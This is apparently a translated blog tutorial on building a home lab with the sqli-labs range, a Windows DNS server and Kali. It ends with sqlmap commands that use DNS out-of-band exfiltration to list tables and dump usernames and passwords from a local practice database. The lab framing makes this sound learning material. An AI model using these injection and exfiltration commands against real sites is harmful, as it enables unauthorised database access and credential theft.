当前位置:网站首页>sqlmap combined with dnslog fast injection
sqlmap combined with dnslog fast injection
2022-08-10 23:49:00 【hug kitten】
How to use sqlmap combined with dnslog to inject quickly
First we need three virtual machines, one Windows10 as the client, Windows server2008 as the server, and one kali.
The first step: first download the phpstudy skin panel on Windows10, then download the sqli-labs shooting range, and put the sqli-labs shooting range file into the WWW directory

Step 2: Modify the database configuration file and add secure_file_priv="" to the my.ini of the database to facilitate reading the file later

Step 3: Set up a DNS server on Windows server 2008
Click Role-->Add Role-->Click Server Role-->Select DNS Server-->Next-->Install

Right click to view the properties of WIN-JGVPSZCQ80R-->Monitor-->Tick the two test types-->OK

New area: Right-click New-->Next-->Customize an area name-->Next-->Finish

Create a new host ns1.ceshi.top, so fill in the IP address of the kali virtual machine

Create another pan-parse:

Step 4: Configure the IP of the DNS server on Windows 10

Step 5: Use the domain name created in Windows10ping DNS and view it in kali


Step 6: Create a repeater in Windows server2008

Use the domain name of the Windows10 ping forwarder and view it in kali

Step 7: sqlmap uses DNSlog out-of-band injection

We use sqlmap to find the table name in the database
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D security --tables
Find the columns in the table according to the users table name
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security"-t "users" --columnsRetrieve data from users table
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security"-t "users" -C "username,password" --dump边栏推荐
- Anroid 组件化构架设计:细说为何需要使用组件化提高工程编译速度
- HGAME 2022 Final Pokemon v2 writeup
- 祥云杯 2021 PackageManager writeup
- [C language] binary search (half search)
- Activiti7子流程之Call activity
- 安科瑞为工业能效行动计划提供EMS解决方案-Susie 周
- Kioptrix Level 1 靶机wp
- Easy-to-use translation plug-in - one-click automatic translation plug-in software
- 2022牛客多校(七)K. Great Party博弈方法证明
- 3. 容器功能
猜你喜欢
随机推荐
8. WEB 开发-静态资源访问
打开老项目项目的报错(以高德地图demo为例)
7. yaml
HCTF 2018 WarmUP writeup
[C language] First understanding of pointers
2022牛客多校(七)K. Great Party博弈方法证明
鲜花线上销售管理系统的设计与实现
回收站的文件删了怎么恢复,回收站文件恢复的两种方法
【C语言】C语言程序设计:动态通讯录(顺序表实现)
Kubernetes你不知道的事
iNFTnews | Web3时代,用户将拥有数据自主权
The Missing Semester of Your CS Education
String
SQL injection base - order by injection, limit, wide byte
C语言篇,操作符之 移位运算符(>>、<<)详解
sqlmap结合dnslog快速注入
缓存知识总结
5. Lombok
ROS Experimental Notes - Install QPEP and Intel-MKL
进程和线程









